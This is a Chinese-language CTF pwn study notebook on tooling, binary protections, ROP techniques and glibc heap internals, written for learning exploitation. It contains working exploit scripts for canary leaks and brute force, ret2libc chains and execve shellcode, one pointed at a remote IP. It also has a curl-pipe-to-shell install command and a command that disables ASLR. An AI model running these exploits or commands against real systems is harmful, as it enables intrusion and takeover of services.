基础
一次简单的hack
常用名词
·exploit
·用于攻击的脚本与方案
·payload
·攻击载荷,是的目标进程被劫持控制流的数据
·shellcode
·调用攻击目标的shel的代码
vim基础
- i -- 切换到输入模式,在光标当前位置开始输入文本。
- x -- 删除当前光标所在处的字符。
- : -- 切换到底线命令模式,以在最底一行输入命令。
- a -- 进入插入模式,在光标下一个位置开始输入文本。
- o:在当前行的下方插入一个新行,并进入插入模式。
- O -- 在当前行的上方插入一个新行,并进入插入模式。
- dd -- 剪切当前行。
- yy -- 复制当前行。
- p(小写) -- 粘贴剪贴板内容到光标下方。
- P(大写)-- 粘贴剪贴板内容到光标上方。
- u -- 撤销上一次操作。
- Ctrl + r -- 重做上一次撤销的操作。
- :w -- 保存文件。
- :q -- 退出 Vim 编辑器。
- :q! -- 强制退出Vim 编辑器,不保存修改。
- :%d --删除全部内容
二进制基础
从C源代码到可执行文件的生成过程
可执行文件
分类
ELF概述
文件结构
节视图到段试图
段和节的具体划分
内存地址之间的转换(物理内存通过OS转换成连续的虚拟内存)
32位虚拟内存空间是4GB(2^32)
进程执行过程
大端序小端序问题
小端序:低低高高
大端序:低高高低
寄存器结构
rsp寄存器储存的总是当前栈顶的位置
rbp寄存器存放栈底位置
rdi寄存器存放第一个参数
rax寄存器存放返回值
QWORD(8字节),DWORD(4字节),WORD(2字节),BYTE(1字节)
静态链接程序执行过程
常用汇编
跳转
常用命令
ldd 文件 //查看动态链接调用(本地libc)
file 文件 //查看文件组成
objdump //反编译
pwd //用于显示工作目录的绝对路径名称
cyclic 数字//产生固定个数的字符
pwntools常用功能
process(程序指定路径) remote(ip 端口) :链接本地或远程
send() :发送
sendline() :发送(带换行)
recv() :接收
recvuntil(,drop=True) :接收(直到遇到指定字符串),参数删除接收到……
asm() :将汇编代码编译成机器语言
disasm() :反汇编
gdb.attach :调试
objdump :查看GOT表
flat([ ]):函数构造payload。flat函数可以将多个变量转换为二进制字符串。
interactive():反弹shell
ljust(长度,字符) //将对应字符串用选择的字符补全到对应长度(向后补全)
rjust(长度,字符) //将对应字符串用选择的字符补全到对应长度(向前补全)
p.readmem(address, count)
是 pwntools 中的一个方法,用于直接读取进程的内存。
详细解释:
write_addr = u64(p.readmem(write_got, 8))
- 功能:
- 从指定的内存地址读取指定数量的字节
- 通过
/proc/pid/mem
实现直接内存读取 - 不需要通过漏洞泄露,可以直接读取本地进程的内存
- 参数:
address
: 要读取的内存地址(这里是 write_got)count
: 要读取的字节数(这里是 8,因为是 64 位地址)
- 使用场景:
- 本地调试时快速获取地址
- 验证内存中的数据
- 分析程序状态
- 限制:
- 只能用于本地进程
- 需要有足够的权限读取进程内存
- 远程攻击时不能使用,需要改用泄露等方式
这是一个调试辅助功能,在开发 exploit 时很有用,但最终的 exploit 通常需要使用其他方式(如栈泄露)来获取这些地址。
分屏调试
context.terminal = ['wt.exe', '-w', '0', 'split-pane', 'wsl.exe']
LibcSearcher使用
导入
from LibcSearcher import *
泄露
[[第二个参数,为已泄露的实际地址]],或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)
gcc编译
gcc question 1.c -o question 1 x64 (64位)
gcc -m32 question 1.c -o question 1 x86 (32位)
远端 pwn 环境搭建和使用
linux-socat 搭建 pwn 环境
[!tip]
socat 是一种多功能的网络工具,用于在两个地址之间传输数据。它支持多种传输机制,如 TCP、UDP、Unix 域套接字、文件等。socat 可以创建双向字节流,非常适用于调试、网络分析以及建立代理或端口转发配置。它能够建立加密连接、在系统间传输文件或设置虚拟网络接口,是网络管理员和安全研究者常用的工具。
安装 linux-socat
sudo apt-get install socat
利用 socat 命令来远程搭建 pwn 的环境
socat tcp-l:8887,fork exec:./pwn
- tcp-l:8887: 这部分告诉 socat 创建一个 TCP 监听器,监听在本地 8887 端口上。
- fork: 这告诉 socat 在接收到连接时创建一个新的进程来处理连接,而不是在同一个进程中处理所有连接。
- exec:./string: 这部分告诉 socat 在接收到连接时执行./string 可执行文件,并将连接的输入输出重定向到该程序。
[!note]
综合起来,这个命令的作用是创建一个 TCP 监听器,等待连接到达,然后将连接转发给 string 程序来处理。这个程序可能是一个漏洞模拟器或者一个需要远程访问的服务。
查看远端连接 ip,提供给做题者
192.168.115.128:8887
本地连接攻击
成功连接到
pwn_deploy_chroot 搭建 pwn 环境
[!tip]
环境准备
所有环境都在 python 2 和 pip 2 下准备
项目特点
- 一次可以部署多个题目到一个 docker 容器中
- 自动生成 flag, 并备份到当前目录
- 也是基于 xinted + docker + chroot
- 利用 python 脚本根据 pwn 的文件名自动化地生成 3 个文件:pwn. xinetd,Dockerfile 和 docker-compose. yml
- 在/bin 目录,利用自己编写的静态编译的 catflag 程序作为/bin/sh, 这样的话,system (“/bin/sh”) 实际执行的只是读取 flag 文件的内容,完全不给搅屎棍任何操作的余地
- 默认从 10000 端口监听,多一个程序就+1,起始的监听端口可以在 config. py 配置,或者生成 pwn. xinetd 和 docker-compose. yml 后自己修改这两个文件
安装 docker
# 安装docker
curl -s https://get.docker.com/ | sh
# 安装 docker-compose
apt install docker-compose
使用方法
将你要部署的 pwn 题目放到 bin 目录
我的项目已经将一个程序 copy 了 3 分作为示例,注意文件名不要含有特殊字符,文件名建议使用字母,下划线,横杆和数字,当然全字母的当然最好了
root@instance-1:~/pwn_deploy_chroot# ls bin/
pwn1 pwn1_copy1 pwn1_copy2
2、运行 initialize. py
运行脚本后会输出每个 pwn 的监听端口,
root@instance-1:~/pwn_deploy_chroot# python initialize.py
pwn1's port: 10000
pwn1_copy1's port: 10001
pwn1_copy2's port: 10002
文件与端口信息,还有随机生成的 flag 默认备份到 flags. txt
root@instance-1:~/pwn_deploy_chroot# cat flags.txt
pwn1: flag{93aa6da5-db45-46fa-a2e1-af2be6698692}
pwn1_copy1: flag{f9966c51-52e4-4212-ac44-97bf16620b41}
pwn1_copy2: flag{b17949ce-e3fa-4ca7-9fcc-44b8dc997cb3}
pwn1's port: 10000
pwn1_copy1's port: 10001
pwn1_copy2's port: 10002
启动环境
docker-compose up --build -d
检查环境
root@instance-1:~/pwn_deploy_chroot# netstat -antp | grep docker
tcp6 0 0 :::10002 :::* LISTEN 19828/docker-proxy
tcp6 0 0 :::10000 :::* LISTEN 19887/docker-proxy
tcp6 0 0 :::10001 :::* LISTEN 19873/docker-proxy
停止环境
docker-compose down
编辑 config. py 决定是否用我的 catflag 程序去替换/bin/sh
# Whether to replace /bin/sh
## 替换
REPLACE_BINSH = True
## 不替换(默认)
REPLACE_BINSH = False
项目注意
- flag 会由
initialize.py
生成,并写入 flags. txt中 - pwn 程序对应的端口信息也在 flags. txt 中
- 注意文件名不要含有特殊字符,文件名建议使用字母,下划线,横杆和数字,当然全字母的当然最好了
尝试解题
正常解题
保护
checksec 文件:检查保护
一:canary
Canary是金丝雀的意思。技术上表示最先的测试的意思。这个来自以前挖煤的时候,矿工都会先把金丝雀放进矿洞,或者挖煤的时候一直带着金丝雀。金丝雀对甲烷和一氧化碳浓度比较敏感,会先报警。所以大家都用canary来搞最先的测试。stack canary表示栈的报警保护。
在函数返回值之前添加的一串随机数(不超过机器字长),末位为/x00(提供了覆盖最后一字节输出泄露canary的可能),如果出现缓冲区溢出攻击,覆盖内容覆盖到canary处,就会改变原本该处的数值,当程序执行到此处时,会检查canary值是否跟开始的值一样,如果不一样,程序会崩溃,从而达到保护返回地址的目的。
绕过
Canary设计其低字节为\x00,放在rbp-4或者rbp-8的位置(32位/64位)
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
back_door = 0x4011d6
""" ROPgadget --binary stackguard1 --only """pop|ret"|grep "rdi" """
pop_rdi_ret = 0x0401343
bin_sh = 0x402004
#p = process('./stackguard1')
p = remote('123.57.230.48',12344)
payload1 = '%11$p' # 泄露canary
p.sendline(payload1)
canary=int(p.recv(),16) # 接受canary
print(canary)
[[0x28垃圾数据]]+0x8的canary值+0x2的rbp=0x38造成溢出
p.sendline('a'*0x28+p64(canary)+'a'*8+p64(back_door))
[[gdb]].attach(p,'b main')
p.interactive()
一件泄露 canary
from pwn import *
context.log_level = 'debug'
p = process('./pwn')
# 等待输入提示
p.recvuntil("what is your name? ")
# 发送格式化字符串
payload = b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p"
p.sendline(payload)
# 接收所有输出
response = p.recvall()
print("Leaked values:")
print(response.decode())
# 将泄露的值按 . 分割并分析
leaks = response.split(b".")
for i, leak in enumerate(leaks):
try:
value = int(leak.strip(), 16)
print(f"Leak {i}: {hex(value)}")
# Canary 通常以 00 结尾
if value & 0xff == 0:
print(f"Possible Canary at position {i}: {hex(value)}")
except:
continue
one_by_one 爆破
注意:
通过fork()
函数产生的 canary 金丝雀的值是固定不变的 (同一个进程中的不同线程的 canary 是相同的),因为子进程会完全复制父进程地址空间的内容,所以可以爆破 canary 的值,利用子进程进行溢出,每次只溢出一个字节,直到溢出的这一个字节值是正确的,再溢出下一个字节由于 canary 的低一位字节固定为
"\00"
,因此只需要爆破前七位字节,如此反复直到爆破完七位即可得到 canary 的值,每一字节的取值范围在0 ~ 255
# 爆破 canary
canary = b'\x00'
for i in range(7):
for j in range(256):
canary += bytes([j])
payload = b'a' * (0x70 - 0x08) + canary
io.send(payload) # 注意不能用 sendline,不能添加换行符,否则 canary 永远不正确
s = io.recvline() # b'welcome\n'
s = io.recvline() # b'*** stack smashing detected ***: terminated\n'
if b'stack smashing detected' in s:
canary = canary[:-1]
continue
else:
print("成功找到第 " + str(i + 1) + " 个字节")
break
continue
print("canary:", canary)
二:NX保护
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址,然后加入shellcode,NX策略是使栈区域的代码无法执行。
当NX保护开启,就表示题目给了你system(‘/bin/sh’),如果关闭,表示你需要自己去构造shellcode,可参考我的level2
三:PIE
PIE(ASLR),内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
该保护能使每次运行的程序的地址都不同,防止根据固定地址来写exp执行攻击。
liunx下关闭PIE的命令如下:
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
PIE随机化基地址后三位不变
四:RELRO
Relocation Read-Only (RELRO) 可以使程序某些部分成为只读的。它分为两种,Partial RELRO 和 Full RELRO,即 部分RELRO 和 完全RELRO。
部分RELRO 是 GCC 的默认设置,几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。
完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。
反调试
(unsigned int)ptrace(PTRACE_TRACEME) 用于反调试
gdb调试
功能:
- 运行
- 步入,步过,步出,步止
- 断点(设置,删除,显示)
- 查看内存、寄存器、各种参数
- 设置内存、寄存器、各种参数(加载文件)
- 远程调试
- 其他辅助功能
命令
- gdb 文件 //动调文件
-
start | run //启动调试(run把程序完全跑一遍,start运行到程序入口点)
-
i //info查看一些信息,只输入info可以看可以接什么参数
- i r //常用,info registers 查看各个寄存器当前的值
- i b //常用,info break 查看所有断点信息(编号、断点位置)
- i f //info function 查看所有函数名,需保留符号
- disassemble $rip //打印汇编指令
-
b *地址 //设置断点
-
info b //查看断点信息
-
d id //删除断点
-
disable b id //让断点失效
-
enable b id //启用断点
-
c //继续执行到下一个断点
-
ni //步出
-
si //步入
-
finish //步出
-
u //继续运行到指定位置
-
push //压栈 放入内存中
-
p &system//打印
-
search //查找
-
vmmap //内存泄漏 可用来查看权限(r读,w写,x可执行)
-
fmtarg 地址 //查看用户输入对于printf第几个参数
-
heap //查看堆结构
-
bins //查看bins中内容
-
x/20i $rip //反汇编
-
x/20wx $esp //看栈位置
格式选项 | 说明 |
---|---|
x | 按十六进制格式显示变量 |
d | 按十进制格式显示变量 |
u | 按十六进制格式显示无符号整型 |
o | 按八进制格式显示变量 |
t | 按二进制格式显示变量 |
a | 按十六进制格式显示变量 |
c | 按字符格式显示变量 |
f | 按浮点数格式显示变量 |
-
set 变量=表达式 //设置值 (* 地址,$寄存器)
-
vmmap 看内存基本情况
-
search 字符串 :搜索字符串
-
set follow-fork-mode parent 跟踪父进程
-
set detach-on-fork off 同时调试父子进程
-
tele 地址 // 查看所在位置汇编
脚本编写
socat tcp-listen:8877,fork exec:./question_2_x64,reuseaddr (本地部署)
32位传参
payload+返回地址+参数1+参数2 ...
64位传参
64位程序函数的前六个参数分别用寄存器rdi, rsi, rdx, rcx, r8, r9传参,后续参数采用栈传参。
payload+寄存器地址(rdi)+参数1+参数2+…+返回地址
nc ip 端口 (链接)
本地:
from pwn import * [[导入pwntools]]
[[log]] level='debug'表示日志级别为调试级别,arch='arm64'表示架构为arm64,os='linux'表示操作系统为Linux debug信息一般不带
context (log_level='debug',arch='arm64',os='linux')
[[设置环境(32位位i386)]]
io=process('./question_1 x64 new') [[打的本地]]
[[io]].recvuntil()#接收东西
payload = b'a' * 9 [[构建payload]] 遇到地址根据对应操作系统选择p64()还是p32()
gdb.attach(io) [[附加调试]] 调试一般在发送前
pause()
io.sendafter("接收内容,payload") [[io]].sendline('aaaaaa') 接收到内容,发送9个a
io.interactive() # 反弹shell
远程:
from pwn import * [[导入pwntools]]
p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务
payload=b'a'*9
p.interactive() # 反弹shell
为了快速构造合适的输入值,实现对程序流的控制,这里引入里一个基于python的工具pwntools
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"
p = process("./a.out")
elf = ELF("./a.out")
target_address = elf.sym["func"]
payload = b"A" * 0x28
payload += p64(target_address)
p.send(payload)
p.interactive()
上面这个脚本中:
p
为进程对象(可以将process
换成remote(address, port)
使其变成远程连接的对象)
elf
为可执行程序对象,elf.sym["func"]
为获取可执行程序中符号func
的地址
p64
为将数字根据端序转为64位的字节流。
p.send(payload)
为将payload
发送到对应的进程或者远程连接。
p.interactive()
为保持交互,将输入方从脚本改为用户。
注意 python3版本的pwntools
的payload的字符串之前需要加上b
前缀
偷懒小技巧
cyclic 数值 :产生固定数值字符串()
cyclic -l 4个字符(地址) :判断这四个字符之前有多少个字符
p 地址-地址 :获取两个地址之间偏移
distance 地址 地址 :获取两个地址之间偏移
asm(shellcraft.sh()) :生成shellcode
ROP
获取寄存器信息 例如寄存器地址
ROPgadget --binary 【文件】 --only "pop|rdi|ret"
查看是否存在字符串
ROPgadget --binary 【文件】 --string '/bin/sh'
自动生成 ROP 链
ROPgadget.py --binary 【文件】 --ropchain
ret2text
控制程序执行程序本身已有的的代码 (即,
.text
段中的代码) 。
C++ lambda闭包概念
```c++
// 简单的lambda表达式
auto lambda = []() { /* 函数体 */ };
// 带捕获的lambda表达式
int x = 10;
auto lambda_capture = <a class="wp-editor-md-post-content-link" href="">x</a> { return x; };
<pre><code class="line-numbers">实现
```c++
// 编译器会将lambda转换为类似这样的类
class Lambda_Closure {
private:
// 捕获的变量作为成员
int captured_x;
// 函数指针成员(指向实际的函数实现)
void (*function_ptr)(void*);
public:
// 构造函数
Lambda_Closure(int x) : captured_x(x) {
function_ptr = &lambda_implementation;
}
// 调用运算符
auto operator()() {
return function_ptr(this);
}
};
内存布局
```c++
栈布局:
[低地址]
buffer(8字节)
...
lambda闭包对象
- 函数指针
- 捕获的变量
[高地址]
- lambda闭包对象在栈上
- 可以通过溢出修改闭包中的函数指针
### ret2libc
libc:别人写好的 (获取基地址)
plt表:程序链接表
got表:全局偏移量表
> 控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。
> **函数的真实地址 = 基地址 + 偏移地址**
> 知道一个函数的真实地址
>
> **这次运行程序的基地址 = 这次运行得到的某个函数func的真实地址 - 函数func的偏移地址**
>**libc = ELF("/lib/i386-linux-gnu/libc.so.6") *确定libc库并解析***
如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 `'bbbb'` 作为虚假的地址

**puts(puts@got)或者write(1,write@got, 读取的字节数)**打印puts函数/write函数的真实地址。
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。
- 常规方法就是挨个把常见的Libc.so从系统里拿出来,与泄露的地址对比一下最后12位。
> 解题思路
1.首先寻找一个函数的真实地址,以puts为例。构造合理的payload1,劫持程序的执行流程,使得程序执行puts(puts@got)打印得到puts函数的真实地址,并重新回到main函数开始的位置。
2.找到puts函数的真实地址后,根据其最后三位,可以判断出libc库的版本(本文忽略)。
puts_real = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
1. `p.recvuntil('\x7f')` 表示从输入流中接收数据直到遇到字节 `\x7f` 为止。
2. `[-6:]` 表示取接收到的数据的后6个字节。
3. `ljust(8,b'\x00')` 表示将接收到的6个字节的数据左侧填充至总长度为8个字节,填充的字节为 `\x00`。
4. `u64()` 表示将8个字节的数据解析为一个64位的无符号整数。
3.根据libc库的版本可以很容易的确定puts函数的偏移地址。
4.计算基地址。基地址 = puts函数的真实地址 - puts函数的偏移地址。
5.根据libc函数的版本,很容易确定system函数和"/bin/sh"字符串在libc库中的偏移地址。
6.根据 真实地址 = 基地址 + 偏移地址 计算出system函数和"/bin/sh"字符串的真实地址。
7.再次构造合理的payload2,劫持程序的执行流程,劫持到system("/bin/sh")的真实地址,从而拿到shell。
> 函数调用过程

> exp例子
```python
from pwn import *
e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #[[确定libc库并解析]]
p = process("./ret2libc3_32")
puts_plt = e.plt['puts'] #[[puts函数的入口地址]]
puts_got = e.got['puts'] #[[puts函数的got表地址]]
start_addr = e.symbols['_start'] #[[程序的起始地址]]
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
[[attach]](p, "b *0x0804868F")
[[pause]]()
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4]) #[[接收puts的真实地址,占4个字节]]
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr))
libc_addr = puts_real_addr - libc.sym['puts'] #[[计算libc库的基地址]]
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #[[计算system函数的真实地址]]
binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) #[[计算binsh字符串的真实地址]]
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
[[pause]]()
p.sendline(payload2)
p.interactive()
爆破 libc
from pwn import *
# 设置运行环境
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./pwn')
elf = ELF('./pwn')
# 等待程序执行到输入点
p.recvuntil(b'name? ')
# 打印多个参数来找到libc地址
payload = b''
for i in range(40, 50):
payload += f'%{i}$p|'.encode()
p.sendline(payload)
# 接收并分析输出
response = p.recvuntil(b',')[:-1]
values = response.split(b'|')
log.info("Stack values:")
for i, val in enumerate(values, 40):
if b'nil' not in val and val.strip():
try:
val_int = int(val, 16)
log.info(f"%{i}$p: {hex(val_int)}")
# 检查是否可能是libc地址(在libc范围内)
if 0x7f0000000000 < val_int < 0x7fffffffffff:
log.success(f"Possible libc at %{i}$p: {hex(val_int)}")
except:
continue
p.interactive()
libc 查询寄存器
poprdi = next(libc.search(asm("pop rdi;ret"))) # 控制第一个参数
poprsi = next(libc.search(asm("pop rsi;ret"))) # 控制第二个参数
poprdx = next(libc.search(asm("pop rdx;pop r12;ret"))) # 控制第三个参数
# 获取特殊gadget用于处理文件描述符
mov_rdi_rax = next(libc.search(asm("mov edi,eax;cmp rdx,rcx"))) # 将open返回的fd移动到rdi
pop_rcx_rbx = next(libc.search(asm("pop rcx;pop rbx;ret;"))) # 配合上面的gadget使用
ret2syscall
即控制程序执行系统调用,获取 shell。
from pwn import *
context(arch='amd64', log_level='debug', os='linux')
context.terminal = ['wt.exe', '-w', '0', 'split-pane', 'wsl.exe']
p = process('./pwn')
payload = asm(shellcraft.open('./flag'))
payload += asm(shellcraft.read('rax', 'rsp', 0x100))
payload += asm(shellcraft.write(1, 'rsp', 0x100))
p.sendline(payload)
p.interactive()
0xb 为 execve 对应的系统调用号。
0x4 为 white 对应的系统调用号。
int 0x80:一个中断指令,用于调用系统调用。
系统调用是通过int 0x80来实现的,eax寄存器中为调用的功能号,ebx、ecx、edx、esi等等寄存器则依次为参数
64 位
- ret返回的函数名不同
- 32位为int 0x80,64位为syscall ret
需要获取 rax rdi rdx rsi ret
ROP的一般工作原理
简短 syscall
shellcode=asm('''
mov al,59
add rdi,8
syscall
''')+b'/bin/sh\x00'
ret2csu
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。
ret2shellcode
shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。
asm(shellcraft.sh())制造32位shellcode
asm(shellcraft.amd64.sh())制造64位shellcode
简短 shellcode
# 构造shellcode
shellcode = asm('''
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov al, 0x3b
syscall
''')
栈上ret2shellcode
这一类有一个前提,需要把NX(栈不可执行)保护关闭。程序会把栈的地址输出,然后我们接收程
序输出的栈地址,然后向栈中输入shellcode,通过栈溢出去跳到输入shellcode的位置,最终获取shell。
栈迁移
本质:将rbp/rsp迁移至其它地方的一种手段
言简意赅的来说,就是可溢出的长度不够用,也就是说我们要么是没办法溢出到返回地址只能溢出覆盖ebp,要么是刚好溢出覆盖了返回地址但是受payload长度限制,没办法把参数给写到返回地址后面。总之呢,就是能够溢出的长度不够,没办法GetShell,所以我们才需要换一个地方GetShell。
(先讨论main函数里的栈迁移)首先利用溢出把ebp的内容给修改掉(修改成我们要迁移的那个地址),并且把返回地址填充成leave;ret指令的地址(因为我们需要两次leave;ret)
[!tip]
所有函数的局部变量 都是基于rbp来寻址
一般栈迁移使用send发送,减少多余字节使用栈迁移的条件:
1、要能够栈溢出,这点尤其重要,最起码也要溢出覆盖个ebp
2、你要有个可写的地方(就是你要GetShell的地方),先考虑bss段,最后再考虑写到栈中
使用指令:leave、pop rbp
目的:①可以与输入函数搭配使用,实现任意地址写
②变相增加溢出长度。
[!note]
leave可以拆解为:
mov esp ebp ;
pop ebp
可以基于汇编观察 scanf 的输入偏移从而达到任意地址写
堆
heap查看堆结构
如果上一个chunk为使用状态则标记为1
基本结构
prev_size的后三位为标记为,A标记是否不属于main_arena,M位标记是否是mmap申请的chunk,P标识前一个chunk是否处于释放状态(为1正在使用,为0释放状态)。
从fd开始向下属于用户区域。
chunk的最小大小为0x20(64位)或0x10大小(32位),chunk的大小必须为2*size_sz的整数倍。prec_size,size,fd和bk不可或缺。
具体结构
prev_size:表示上一个chunk大小
size:表示当前chunk大小
fd:如果当前chunk处于释放状态,则指向后一个空闲chunk
bk:指向前一个空闲的chunk
常见函数
malloc():分配所需的内存空间,并返回一个指向它的指针
void* malloc(size_t size);
free():释放之前调用calloc、malloc或realloc所分配的内存空间。
void free(void *ptr)
calloc():分配所需的内存空间,并返回一个(一组)指向它(它们)的指针。
malloc 和 calloc 之间的不同点是,malloc 不会设置内存为零,而calloc会设置分配的内存为零。
void *calloc(size_t nitems,size_t size)
realloc():更改已经配置的内存空间,即更改由malloc()函数分配的内存空间的大小。
void *realloc(void *ptr,size_t size)
chunk分类
动态内存,也称为堆内存。堆内存在手动释放或程序结束之前均可访问,同时允许我们在程序执行期间随时分配和释放内存,它非常适合存储大型数据结构或大小事先未知的对
象。堆使得程序员分配内存变得更加灵活,在一定程度上也解决了内存不足的问题。
- mmap_chunk:通过mmap申请而来的chunk
- top_chunk:头部的chunk
- alloc_chunk:正在使用的chunk
- free_chunk:被释放的chunk
如果申请不足0x20长度的chunk:本身长度+0x10(prec_size长度)-下个chunk头
bin分类
bins命令 查看bins中内容
fast bin
- 首个对应大小的chunk保存在malloc_state结构体的fastbinY数组中。
- 后续对应大小的chunk以单链表形式进行存储,由fd进行链接。
- fastbinY数组默认大小为7个,范围为0×20~0×80。其最大global_max_fast控制。
- fast bin采取先进后出的规则。
unsorted bin
- unsorted bin 只有一个,他是 small bin 和 large bin 的缓冲区。
- unsorted bin 是双链表结构。先进先出
- 加入tcache机制前,unsorted bin用于回收超出fast bin大小的chunk。
- 加入tcache后,unsorted bin用于回收超出tcache最大大小的chunk。
small bin
- small_bin中的chunk通过双链表进行链接,范围是0×20~0×400。
- small bin 采取先进先出规则。
- 单个small_bin链接大小相同的chunk。
- bins数组存储small bin链时:第一个small bin链中chunk的大小为32字节,后续每个small bin中chunk的
- 大小依次增加两个字长(32位相差8字节,64位相差16字节),
malloc
malloc 函数返回对应大小字节的内存块的指针。此外,该函数还对一些异常情况进行了处理
- 当 n=0 时,返回当前系统允许的堆的最小内存块。
- 当 n 为负数时,由于在大多数系统上,size_t 是无符号数(这一点非常重要),所以程序就会申请很大的内存空间,但通常来说都会失败,因为系统没有那么多的内存可以分配。
free
free 函数会释放由 p 所指向的内存块。这个内存块有可能是通过 malloc 函数得到的,也有可能是通过相关的函数 realloc 得到的。
此外,该函数也同样对异常情况进行了处理
- 当 p 为空指针时,函数不执行任何操作。
- 当 p 已经被释放之后,再次释放会出现乱七八糟的效果,这其实就是
double free
。 - 除了被禁用 (mallopt) 的情况下,当释放很大的内存空间时,程序会将这些内存空间还给系统,以便于减小程序所使用的内存空间。
chunk
- prev_size, 如果该
chunk
的 物理相邻的前一地址 chunk(两个指针的地址差值为前一 chunk 大小) 是空闲的话,那该字段记录的是前一个chunk
的大小 (包括chunk
头)。否则,该字段可以用来存储物理相邻的前一个 chunk 的数据。这里的前一chunk
指的是较低地址的chunk
。 - size ,该
chunk
的大小,大小必须是MALLOC_ALIGNMENT
的整数倍。如果申请的内存大小不是MALLOC_ALIGNMENT
的整数倍,会被转换满足大小的最小的MALLOC_ALIGNMENT
的倍数,这通过request2size()
宏完成。32 位系统中,MALLOC_ALIGNMENT
可能是4
或8
;64 位系统中,MALLOC_ALIGNMENT
是8
。 该字段的低三个比特位对chunk
的大小没有影响,它们从高到低分别表示- NON_MAIN_ARENA,记录当前
chunk
是否不属于主线程,1 表示不属于,0 表示属于。 - IS_MAPPED,记录当前
chunk
是否是由 mmap 分配的。 - PREV_INUSE,记录前一个
chunk
块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个chunk
的 size 的 P 位为 0 时,我们能通过prev_size
字段来获取上一个chunk
的大小以及地址。这也方便进行空闲chunk
之间的合并。
- NON_MAIN_ARENA,记录当前
- fd,bk。
chunk
处于分配状态时,从 fd 字段开始是用户的数据。chunk
空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下- fd 指向下一个(非物理相邻)空闲的
chunk
。 - bk 指向上一个(非物理相邻)空闲的
chunk
。 - 通过 fd 和 bk 可以将空闲的
chunk
块加入到空闲的chunk
块链表进行统一管理。
- fd 指向下一个(非物理相邻)空闲的
- fd_nextsize, bk_nextsize,也是只有
chunk
空闲的时候才使用,不过其用于较大的 chunk(large chunk)。- fd_nextsize 指向前一个与当前
chunk
大小不同的第一个空闲块,不包含 bin 的头指针。 - bk_nextsize 指向后一个与当前
chunk
大小不同的第一个空闲块,不包含 bin 的头指针。 - 一般空闲的 large
chunk
在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。
- fd_nextsize 指向前一个与当前
堆技巧
更换 libc
patchelf --set-interpreter libc 文件
UAF
UAF是指释放后引用(Use-After-Free)漏洞,它是一种常见的内存安全问题。当程序释放了一个堆上的内存块,但后续仍然继续使用该已释放的内存块,就会产生UAF漏洞。攻击者可以利用UAF漏洞来执行恶意代码,读取敏感数据,控制程序的执行流程等。
malloc_hook
一旦我们修改了malloc_hook函数指针,我们就可以在下次malloc或者realloc,free之类的时候执行到我们需要执行的地址(如调用system,gadget之类),至此漏洞利用完成。
typedef void *(*__malloc_hook)(size_t size, const void *caller);
其中,第一个参数 size 表示要分配的内存大小,第二个参数 caller 是调用动态内存分配函数的函数的返回地址。malloc_hook 函数指针所指向的函数必须返回一个指向分配到的内存块的指针,如果返回 NULL,则表示内存分配失败。
TCache
基本概念
- TCache(Thread-Cache):GLIBC中引入的优化机制,用于提高多线程程序中的内存分配性能。
- 内存池(Memory Pool):TCache将堆内存划分为多个内存池,每个池管理不同大小的内存块。
- 线程局部存储(Thread-Local Storage,TLS):TCache利用TLS机制,确保每个线程独立使用自己的内存池,减少锁竞争。
工作原理
- 线程缓存:每个线程维护一个内存缓存(TCache),用于存储小块内存(通常为32字节到128字节之间)。
- 分配策略:TCache分配时,首先检查本地缓存是否有空闲内存块。如果有,则直接分配;如果没有,则从堆中获取并缓存该内存块。
- 回收策略:当线程释放内存时,首先尝试将内存块返回到TCache缓存池中,避免直接操作全局堆,减少锁的竞争。
数据结构
- tcache_perthread_struct:每个线程的内存缓存结构,维护线程的本地缓存池,减少对全局堆的竞争。
counts
:记录对应Tcache bin中的堆块数量。entries
